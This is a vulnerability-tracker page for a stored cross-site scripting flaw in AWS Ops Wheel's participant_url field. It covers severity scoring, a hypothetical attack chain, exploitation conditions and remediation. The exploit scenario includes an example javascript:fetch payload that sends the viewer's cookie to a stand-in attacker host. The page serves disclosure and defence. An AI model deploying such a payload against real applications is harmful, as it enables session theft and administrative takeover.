Skip to main content

AWS Ops Wheel CVE-2026-18481

| EUVDEUVD-2026-51594 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-31 AMZN
6.2
CVSS 4.0 · Vendor: AMZN
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Ops Wheel with low-privilege account
  2. Delivery
    Submit participant entry with javascript: URI in participant_url field
  3. Exploit
    Payload persisted in application datastore
  4. Install
    Administrator views participant list or detail page
  5. C2
    Stored XSS executes in admin browser context
  6. Execute
    Admin session token exfiltrated to attacker-controlled server
  7. Impact
    Attacker replays token to assume full admin control

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a valid authenticated account on the target AWS Ops Wheel instance (CVSS PR:L) with sufficient permissions to create or modify participant entries - this is not exploitable by unauthenticated remote users. Additionally, a victim user with a higher privilege level (ideally an administrator) must actively view the page rendering the poisoned participant_url (CVSS UI:A); without victim interaction, the stored payload does not execute. The dangerous URI scheme must not be stripped or blocked by any upstream reverse proxy or CSP policy in the deployment. Exploitation is limited to self-hosted instances of AWS Ops Wheel - there is no indication this affects any managed AWS service. The non-default condition is the attacker already possessing a low-privilege account, which limits opportunistic internet-scale exploitation.

Impact

The CVSS 4.0 score of 6.2 (vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N) fairly represents the real-world risk profile: the high subsequent-system impact (SC:H/SI:H) reflects the potential for full admin takeover, but exploitation is gated behind two prerequisites - authenticated access (PR:L) and a victim administrator actively viewing the poisoned entry (UI:A) - which substantially reduce the likelihood of opportunistic mass exploitation. No EPSS score was provided in the input data, so exploitation probability cannot be quantified. There is no CISA KEV listing and no public proof-of-concept identified, indicating no confirmed active exploitation campaign. The most realistic threat actor is a malicious insider or a compromised low-privilege account seeking privilege escalation within an organization's deployed Ops Wheel instance. The gap between raw CVSS subsequent-system severity and actual exploitability reflects a genuine but bounded risk - serious within scope but not a widespread internet-facing threat.

Exploit ScenarioDerived

An attacker with a low-privilege authenticated account submits a participant entry whose participant_url field contains a javascript: URI (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)) and saves it to the application. When an administrator subsequently opens the participant list or detail view, the stored payload executes silently in their browser, transmitting the admin session cookie to the attacker's server. With the stolen token, the attacker replays the session and assumes full administrative control of the Ops Wheel instance without needing to know the admin's credentials. No public proof-of-concept is confirmed, but this is a straightforward stored XSS pattern requiring no specialized tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 31, 2026

Stored cross-site scripting in AWS Ops Wheel's participant URL handling allows an authenticated user to inject persistent malicious JavaScript via a crafted participant_url containing a dangerous URI scheme (e.g., javascript:). When a higher-privileged user - most critically an administrator - views the affected participant entry, the payload executes in their browser, enabling session token theft and full administrative takeover of the deployed instance. No public exploit or active exploitation has been identified at time of analysis; remediation requires redeployment from the latest source incorporating PR #168.

RemediationAI

Upstream fix available via PR #168; no independently confirmed tagged release version was provided in the advisory data. Organizations should redeploy AWS Ops Wheel from the latest source on the main branch, which incorporates the fix for participant_url sanitization, per the vendor advisory at https://aws.amazon.com/security/security-bulletins/2026-068-aws/. As a compensating control prior to redeployment, administrators should restrict write access to participant entries to the most trusted users only, reducing the attacker's ability to plant a payload. Additionally, Content Security Policy (CSP) headers can be evaluated for deployment to block inline script execution and dangerous URI schemes, though this requires application-level configuration and may not be available in all deployment configurations of this tool. Monitoring audit logs for unexpected participant_url values containing 'javascript:' or 'data:' substrings can serve as a detection measure.

Affected VersionsENISA

AWS Ops Wheel 0 ≤PR168

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CWE-79 (Improper Neutralization of Input During Web Page Generation) describes the root cause: the participant_url field is rendered back into the page without adequate sanitization of URI schemes, permitting javascript: or data: URI payloads to be stored and later executed. AWS Ops Wheel (CPE: cpe:2.3:a:aws:aws_ops_wheel:*:*:*:*:*:*:*:*) is an open-source Amazon-maintained web application for managing on-call rotations and team spin-wheels. The CVSS 4.0 vector explicitly models this as a scope-affecting flaw - vulnerable system impact is nil (VC:N/VI:N/VA:N) but subsequent system impact is high (SC:H/SI:H), reflecting that the exploit targets the victim's browser session rather than the server directly. The attack requires low privileges (PR:L) and active user interaction from a victim (UI:A), consistent with a stored XSS that only fires when viewed.

Know when AWS gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (AMZN) PRIMARY 6.2 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
vuln.today AI 8.7 HIGH

Network-reachable app, low-privilege auth required, scope changes to victim browser with high confidentiality (session token) and integrity (admin takeover) impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (AMZN).

CVSS VectorVendor: AMZN

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jul 31, 2026 - 19:22 NVD
HIGH MEDIUM
CVSS changed
Jul 31, 2026 - 19:22 NVD
7.3 (HIGH) 6.2 (MEDIUM)

DescriptionCVE.org

Stored cross-site scripting in the participant URL handling in AWS Ops Wheel before PR #168 might allow an authenticated remote user to steal session tokens and escalate to full administrative control of the deployed instance via a crafted participant_url value containing a dangerous URI scheme.

To remediate this issue, users should redeploy from the latest version of aws-ops-wheel.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
Low
open-source Amazon internal tool, limited broader enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +31
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in AWS

View all
CVE-2026-103956 CRITICAL POC
10.0 Oct 02

Loom for AWS deployments running a version before 1.6.1 with no identity provider configured expose an unauthenticated s

CVE-2026-27702 CRITICAL POC
9.9 Feb 25

Unauthorized data access in Budibase low-code platform before 3.30.4 allows unauthenticated users to manipulate internal

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

CVE-2020-37153 CRITICAL POC
9.8 Feb 11

Multiple vulnerabilities in ASTPP 4.0.1 including XSS and command injection in SIP device configuration and plugin manag

CVE-2026-87911 CRITICAL POC
9.0 Sep 09

Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on

CVE-2026-11393 HIGH POC
8.8 Jun 08

Remote code execution in AWS AgentCore CLI before v0.14.2 allows authenticated attackers to inject Python code via craft

CVE-2026-18140 HIGH POC
8.7 Jul 30

Denial of service in the aws-smithy-json Rust runtime crate (versions before 0.62.7) lets remote unauthenticated attacke

CVE-2026-16756 HIGH POC
8.7 Jul 23

Denial of service in Amazon's aws-smithy-http-server Rust crate (versions prior to 0.66.5) lets remote unauthenticated a

CVE-2026-16796 HIGH POC
8.4 Jul 23

Argument injection in the AWS Bedrock AgentCore Python SDK before 1.18.1 lets a remote authenticated user run arbitrary

CVE-2026-9133 HIGH POC
8.3 May 20

Arbitrary file read in amazon-mq rabbitmq-aws before 0.2.1 allows authenticated remote users to read any file accessible

CVE-2026-13763 HIGH POC
7.9 Jun 29

WAF managed-rule body inspection on AWS Application Load Balancer (ALB) can be bypassed by remote actors who fragment an

CVE-2026-13762 HIGH POC
7.9 Jun 29

WAF inspection bypass in Amazon CloudFront (with AWS WAF enabled) lets remote actors smuggle malicious request bodies pa

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy